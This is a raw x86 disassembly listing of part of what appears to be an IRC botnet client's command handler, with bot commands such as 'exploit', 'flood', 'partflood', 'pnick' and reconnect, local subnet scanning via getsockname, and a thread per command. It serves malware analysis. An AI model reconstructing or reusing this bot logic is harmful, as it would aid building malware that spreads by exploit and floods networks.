		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_417820
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_403F04


loc_403EEE:				; CODE XREF: sub_401CC1+2241j
		cmp	[ebp+var_A04], ebx
		jnz	loc_408AA8
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_403EEE
; ---------------------------------------------------------------------------


loc_403F04:				; CODE XREF: sub_401CC1+222Bj
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_442360
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		jmp	loc_408AA8
; ---------------------------------------------------------------------------


loc_403F24:				; CODE XREF: sub_401CC1+1485j
					; sub_401CC1+149Aj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F43
		push	ebx
		push	[ebp+var_4]
		push	offset dword_4422F4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 14h


loc_403F43:				; CODE XREF: sub_401CC1+2266j
		push	[ebp+arg_4]
		call	dword_4E0934
		call	dword_4E0804
		call	sub_41615A
		push	ebx
		call	dword_4F1320	; ExitProcess


loc_403F5E:				; CODE XREF: sub_401CC1+145Bj
					; sub_401CC1+1470j
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41897B
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		push	offset dword_4422C4
		jmp	short loc_403FB6
; ---------------------------------------------------------------------------


loc_403F89:				; CODE XREF: sub_401CC1+1431j
					; sub_401CC1+1446j
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_418C2F
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		push	offset dword_44229C


loc_403FB6:				; CODE XREF: sub_401CC1+2018j
					; sub_401CC1+22C6j
		call	sub_41458A


loc_403FBB:				; CODE XREF: sub_401CC1+6602j
		add	esp, 18h
		jmp	loc_408CA1
; ---------------------------------------------------------------------------


loc_403FC3:				; CODE XREF: sub_401CC1+1407j
					; sub_401CC1+141Cj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4146C7
		jmp	loc_402079
; ---------------------------------------------------------------------------


loc_403FDC:				; CODE XREF: sub_401CC1+13DDj
					; sub_401CC1+13F2j
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1340],	bl
		jz	short loc_40401B
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40401B
		push	esi
		push	[ebp+var_C]
		call	sub_41B890
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40401B
		push	eax
		push	offset aS_0	; "%s"
		lea	eax, [ebp+var_1340]
		push	80h
		push	eax
		call	sub_41B910
		add	esp, 10h


loc_40401B:				; CODE XREF: sub_401CC1+2324j
					; sub_401CC1+232Fj ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_13C0]
		push	80h
		push	eax
		call	sub_41B910
		mov	eax, [ebp+arg_4]
		push	offset dword_442230
		mov	[ebp+var_13C4],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_12BC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_12B8],	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	25h
		push	eax
		call	sub_40A7FD
		add	esp, 20h
		mov	[ebp+var_12C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13C4]
		push	ebx
		push	eax
		push	offset sub_41473A
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_12C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_4040BB


loc_4040A5:				; CODE XREF: sub_401CC1+23F8j
		cmp	[ebp+var_12B4],	ebx
		jnz	loc_40207C
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_4040A5
; ---------------------------------------------------------------------------


loc_4040BB:				; CODE XREF: sub_401CC1+23E2j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442248
		jmp	loc_402260
; ---------------------------------------------------------------------------


loc_4040CC:				; CODE XREF: sub_401CC1+13B3j
					; sub_401CC1+13C8j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_414512
		push	offset dword_442208
		call	sub_41458A


loc_4040E7:				; CODE XREF: sub_401CC1+1F88j
		add	esp, 10h
		jmp	loc_408CA1
; ---------------------------------------------------------------------------


loc_4040EF:				; CODE XREF: sub_401CC1+1389j
					; sub_401CC1+139Ej
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41B910
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		jz	short loc_404149
		push	offset aSub	; "sub"
		push	esi
		call	sub_41C4C0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_AA8], eax
		jmp	short loc_40414F
; ---------------------------------------------------------------------------


loc_404149:				; CODE XREF: sub_401CC1+246Cj
		mov	[ebp+var_AA8], ebx


loc_40414F:				; CODE XREF: sub_401CC1+2486j
		lea	eax, [ebp+var_2C0]
		push	offset dword_4421A0
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	28h
		push	eax
		call	sub_40A7FD
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_40A868
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_4041BD


loc_4041A7:				; CODE XREF: sub_401CC1+24FAj
		cmp	[ebp+var_A9C], ebx
		jnz	loc_4066B4
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_4041A7
; ---------------------------------------------------------------------------


loc_4041BD:				; CODE XREF: sub_401CC1+24E4j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_4421C0
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		jmp	loc_4066B4
; ---------------------------------------------------------------------------


loc_4041DD:				; CODE XREF: sub_401CC1+130Dj
					; sub_401CC1+1322j
		push	offset aK333yx	; "k333yx"
		lea	eax, [ebp+var_2C0]
		push	offset dword_442128
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 20h
		jmp	loc_4066B4
; ---------------------------------------------------------------------------


loc_404214:				; CODE XREF: sub_401CC1+12E3j
					; sub_401CC1+12F8j
		push	dword_4E05CC
		call	sub_4187BE
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_4420F4
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 24h
		jmp	loc_4066B4
; ---------------------------------------------------------------------------


loc_404252:				; CODE XREF: sub_401CC1+12B9j
					; sub_401CC1+12CEj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404284
		cmp	[ebp+var_C], ebx
		jz	short loc_404293
		push	esi
		push	[ebp+var_C]
		call	sub_41B890
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_404293
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		add	esp, 0Ch
		jmp	short loc_404293
; ---------------------------------------------------------------------------


loc_404284:				; CODE XREF: sub_401CC1+259Aj
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		pop	ecx
		pop	ecx


loc_404293:				; CODE XREF: sub_401CC1+259Fj
					; sub_401CC1+25AEj ...
		push	0FFFFFFFEh
		jmp	loc_40207E
; ---------------------------------------------------------------------------


loc_40429A:				; CODE XREF: sub_401CC1+128Fj
					; sub_401CC1+12A4j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		push	offset dword_4420A4
		call	sub_41458A
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40207F
; ---------------------------------------------------------------------------


loc_4042BC:				; CODE XREF: sub_401CC1+1265j
					; sub_401CC1+127Aj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_408E73
		push	offset dword_442060
		call	sub_41458A
		add	esp, 0Ch
		jmp	loc_408C11
; ---------------------------------------------------------------------------


loc_4042DB:				; CODE XREF: sub_401CC1+123Bj
					; sub_401CC1+1250j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40AEDE
		jmp	loc_404584
; ---------------------------------------------------------------------------


loc_4042F1:				; CODE XREF: sub_401CC1+1211j
					; sub_401CC1+1226j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40AE8A
		jmp	loc_404584
; ---------------------------------------------------------------------------


loc_404307:				; CODE XREF: sub_401CC1+11E7j
					; sub_401CC1+11FCj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40AE1F
		jmp	loc_404584
; ---------------------------------------------------------------------------


loc_40431D:				; CODE XREF: sub_401CC1+11BDj
					; sub_401CC1+11D2j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40AD51
		jmp	loc_404584
; ---------------------------------------------------------------------------


loc_404333:				; CODE XREF: sub_401CC1+1118j
					; sub_401CC1+112Dj
		push	[ebp+esi+var_8C]
		push	27h
		push	offset aProcessList ; "Process list"
		push	offset dword_441F64
		jmp	loc_4029E5
; ---------------------------------------------------------------------------


loc_40434B:				; CODE XREF: sub_401CC1+D4Fj
					; sub_401CC1+D64j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40436A
		push	edi
		call	sub_41B3F0
		test	eax, eax
		pop	ecx
		jz	short loc_40436A
		push	edi
		call	sub_41B3F0
		pop	ecx
		jmp	short loc_40436F
; ---------------------------------------------------------------------------


loc_40436A:				; CODE XREF: sub_401CC1+2693j
					; sub_401CC1+269Ej
		mov	eax, dword_43A074


loc_40436F:				; CODE XREF: sub_401CC1+26A7j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404394
		push	esi


loc_404381:				; CODE XREF: sub_401CC1+26E2j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41B910
		add	esp, 0Ch
		jmp	short loc_4043AB
; ---------------------------------------------------------------------------


loc_404394:				; CODE XREF: sub_401CC1+26BDj
		cmp	[ebp+var_8FF], bl
		jz	short loc_4043A5
		lea	eax, [ebp+var_C0]
		push	eax
		jmp	short loc_404381
; ---------------------------------------------------------------------------


loc_4043A5:				; CODE XREF: sub_401CC1+26D9j
		mov	[ebp+var_5A0], bl


loc_4043AB:				; CODE XREF: sub_401CC1+26D1j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41B910
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40A019
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset dword_441B68
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	19h
		push	eax
		call	sub_40A7FD
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset sub_410CDF
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_40445C


loc_404446:				; CODE XREF: sub_401CC1+2799j
		cmp	[ebp+var_57C], ebx
		jnz	loc_40207C
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_404446
; ---------------------------------------------------------------------------


loc_40445C:				; CODE XREF: sub_401CC1+2783j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset dword_441B90
		jmp	loc_402260
; ---------------------------------------------------------------------------


loc_40446D:				; CODE XREF: sub_401CC1+CE5j
					; sub_401CC1+CFAj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_40448D
		push	esi
		call	sub_41B3F0
		test	ax, ax
		pop	ecx
		jz	short loc_40448D
		push	esi
		call	sub_41B3F0
		pop	ecx
		jmp	short loc_404493
; ---------------------------------------------------------------------------


loc_40448D:				; CODE XREF: sub_401CC1+27B5j
					; sub_401CC1+27C1j
		mov	ax, word_43A084


loc_404493:				; CODE XREF: sub_401CC1+27CAj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41B910
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40A019
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_441AC4
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_408EB9
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	6
		push	eax
		call	sub_40A7FD
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset sub_40E017
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_404562


loc_40454C:				; CODE XREF: sub_401CC1+289Fj
		cmp	[ebp+var_968], ebx
		jnz	loc_40207C
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_40454C
; ---------------------------------------------------------------------------


loc_404562:				; CODE XREF: sub_401CC1+2889j
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_441AF0
		jmp	loc_402260
; ---------------------------------------------------------------------------


loc_404573:				; CODE XREF: sub_401CC1+CBBj
					; sub_401CC1+CD0j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4185E1


loc_404584:				; CODE XREF: sub_401CC1+262Bj
					; sub_401CC1+2641j ...
		add	esp, 0Ch
		jmp	loc_408CA1
; ---------------------------------------------------------------------------


loc_40458C:				; CODE XREF: sub_401CC1+C91j
					; sub_401CC1+CA6j
		push	offset unk_4419F4
		jmp	loc_407E61
; ---------------------------------------------------------------------------


loc_404596:				; CODE XREF: sub_401CC1+C67j
					; sub_401CC1+C7Cj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4045F6
		push	esi
		call	sub_41B3F0
		cmp	eax, ebx
		pop	ecx
		jl	short loc_4045EB
		cmp	eax, 3
		jge	short loc_4045EB
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_4045E0
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_44194C
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_407C2F
; ---------------------------------------------------------------------------


loc_4045E0:				; CODE XREF: sub_401CC1+28FEj
		push	eax
		push	offset unk_44196C
		jmp	loc_4068A7
; ---------------------------------------------------------------------------


loc_4045EB:				; CODE XREF: sub_401CC1+28E9j
					; sub_401CC1+28EEj
		push	eax
		push	offset unk_441998
		jmp	loc_4068A7
; ---------------------------------------------------------------------------


loc_4045F6:				; CODE XREF: sub_401CC1+28DEj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_4045FB:				; CODE XREF: sub_401CC1+2956j
		push	[ebp+var_90]
		push	edi
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40461E
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_4045FB
		jmp	loc_407C2F
; ---------------------------------------------------------------------------


loc_40461E:				; CODE XREF: sub_401CC1+294Aj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C0]
		push	eax
		push	offset unk_4419C4
		jmp	loc_4068A7
; ---------------------------------------------------------------------------


loc_404638:				; CODE XREF: sub_401CC1+C3Dj
					; sub_401CC1+C52j
		push	[ebp+var_8C]
		push	offset a332_4	; "332"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40331B
		call	sub_40A9C6
		push	ebx
		call	dword_4F1320	; ExitProcess


loc_40465E:				; CODE XREF: sub_401CC1+1692j
		push	offset aGet_1	; "get"
		push	edi
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404704
		cmp	dword_4E4098, ebx
		jz	short loc_40468A
		push	offset dword_4E3A78
		push	offset unk_4429B4
		jmp	loc_404716
; ---------------------------------------------------------------------------


loc_40468A:				; CODE XREF: sub_401CC1+29B8j
		push	10h
		pop	eax
		mov	[ebp+var_2D8], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		call	dword_4F151C	; getsockname
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_C74]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_C74]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_4429F8
		push	eax
		call	sub_41B740
		add	esp, 20h
		jmp	loc_403372
; ---------------------------------------------------------------------------


loc_404704:				; CODE XREF: sub_401CC1+29ACj
		push	edi
		call	dword_4E08DC
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_40472A
		push	offset unk_442A30


loc_404716:				; CODE XREF: sub_401CC1+29C4j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		jmp	loc_403372
; ---------------------------------------------------------------------------


loc_40472A:				; CODE XREF: sub_401CC1+2A4Ej
		push	offset dword_4E3A78
		call	sub_41C300
		push	edi
		lea	eax, [ebp+var_2C0]
		push	offset unk_442A64
		push	eax
		mov	dword_4E4098, 1
		call	sub_41B740
		add	esp, 14h
		jmp	loc_403372
; ---------------------------------------------------------------------------


loc_404758:				; CODE XREF: sub_401CC1+167Dj
		push	[ebp+arg_10]
		push	offset aExploit	; "exploit"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404855
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_1190],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_118C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_11A0],	eax
		push	offset aXx_0	; "#xx#"
		lea	eax, [ebp+var_1220]
		push	esi
		push	eax
		mov	[ebp+var_1198],	1
		call	sub_41B910
		push	offset aXx_0	; "#xx#"
		lea	eax, [ebp+var_12A0]
		push	esi
		push	eax
		call	sub_41B910
		push	edi
		lea	eax, [ebp+var_12B0]
		push	10h
		push	eax
		call	sub_41B910
		lea	eax, [ebp+var_12B0]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset unk_442A98
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	8
		push	eax
		call	sub_40A7FD
		add	esp, 3Ch
		mov	[ebp+var_1194],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_12B0]
		push	ebx
		push	eax
		push	offset sub_40AFA4
		push	ebx
		push	ebx
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_1194]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4537DC[ecx], eax
		jz	short loc_404844


loc_40482E:				; CODE XREF: sub_401CC1+2B81j
		cmp	[ebp+var_1188],	ebx
		jnz	loc_407C2F
		push	32h
		call	dword_4F1334	; Sleep
		jmp	short loc_40482E
; ---------------------------------------------------------------------------


loc_404844:				; CODE XREF: sub_401CC1+2B6Bj
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		push	offset unk_442AC8
		jmp	loc_4068A7
; ---------------------------------------------------------------------------


loc_404855:				; CODE XREF: sub_401CC1+2AA8j
		push	[ebp+arg_10]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C18
		push	[ebp+arg_10]
		push	offset aRin	; "rin"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C18
		push	[ebp+arg_10]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BD6
		push	[ebp+arg_10]
		push	offset aRinms	; "rinms"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BD6
		push	[ebp+arg_10]
		push	offset aFlood	; "flood"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405430
		call	dword_4F1364	; GetTickCount
		push	eax
		call	sub_41B840
		push	edi
		push	offset aLoad	; "load"
		call	sub_41C4C0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404958
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404958
		push	[ebp+esi+var_80]
		call	sub_41B3F0
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B3F0
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_415639
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_442BC0
		push	eax
		call	sub_41B740
		add	esp, 20h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404958
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408EB9
		add	esp, 14h


loc_404958:				; CODE XREF: sub_401CC1+2C23j
					; sub_401CC1+2C29j ...
		push	edi
		push	offset aPm_1	; "pm"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4049BF
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_4049BF
		push	offset asc_442BF0 ; " "
		push	offset a__5	; "_"
		push	eax
		call	sub_415C6E
		push	eax
		lea	eax, [ebp+var_4250]
		push	eax
		call	sub_41C300
		lea	eax, [ebp+var_4250]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_3 ; "privmsg %s :%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 28h


loc_4049BF:				; CODE XREF: sub_401CC1+2CA6j
					; sub_401CC1+2CB1j
		push	edi
		push	offset aCt	; "ct"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A26
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404A26
		push	offset asc_442C0C ; " "
		push	offset a__6	; "_"
		push	eax
		call	sub_415C6E
		push	eax
		lea	eax, [ebp+var_3B4C]
		push	eax
		call	sub_41C300
		lea	eax, [ebp+var_3B4C]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_442C14
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 28h


loc_404A26:				; CODE XREF: sub_401CC1+2D0Dj
					; sub_401CC1+2D18j
		push	edi
		push	offset dword_442C28
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A8D
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404A8D
		push	offset dword_442C2C
		push	offset dword_442C30
		push	eax
		call	sub_415C6E
		push	eax
		lea	eax, [ebp+var_3C4C]
		push	eax
		call	sub_41C300
		lea	eax, [ebp+var_3C4C]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset dword_442C34
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 28h


loc_404A8D:				; CODE XREF: sub_401CC1+2D74j
					; sub_401CC1+2D7Fj
		push	edi
		push	offset aMode	; "mode"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404AF4
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404AF4
		push	offset asc_442C4C ; " "
		push	offset a_	; "_"
		push	eax
		call	sub_415C6E
		push	eax
		lea	eax, [ebp+var_3F4C]
		push	eax
		call	sub_41C300
		lea	eax, [ebp+var_3F4C]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 28h


loc_404AF4:				; CODE XREF: sub_401CC1+2DDBj
					; sub_401CC1+2DE6j
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404B31
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404B31
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 10h


loc_404B31:				; CODE XREF: sub_401CC1+2E42j
					; sub_401CC1+2E4Dj
		push	edi
		push	offset aPart_1	; "part"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404B6E
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404B6E
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 10h


loc_404B6E:				; CODE XREF: sub_401CC1+2E7Fj
					; sub_401CC1+2E8Aj
		push	edi
		push	offset aPartflood ; "partflood"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404BB0
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404BB0
		push	offset aRoom	; "room"
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 14h


loc_404BB0:				; CODE XREF: sub_401CC1+2EBCj
					; sub_401CC1+2EC7j
		push	edi
		push	offset aPnick	; "pnick"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404C23
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404C23
		call	dword_4F1364	; GetTickCount
		push	eax
		call	sub_41B840
		call	sub_41B850
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_1560]
		push	edx
		push	[ebp+esi+var_88]
		push	offset aSI	; "%s%i"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_1560]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aNickS	; "NICK	%s"
		push	eax
		call	sub_41B740
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_415357
		add	esp, 24h


loc_404C23:				; CODE XREF: sub_401CC1+2EFEj
					; sub_401CC1+2F07j
		push	edi
		push	offset aJoinPart ; "join/part"
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
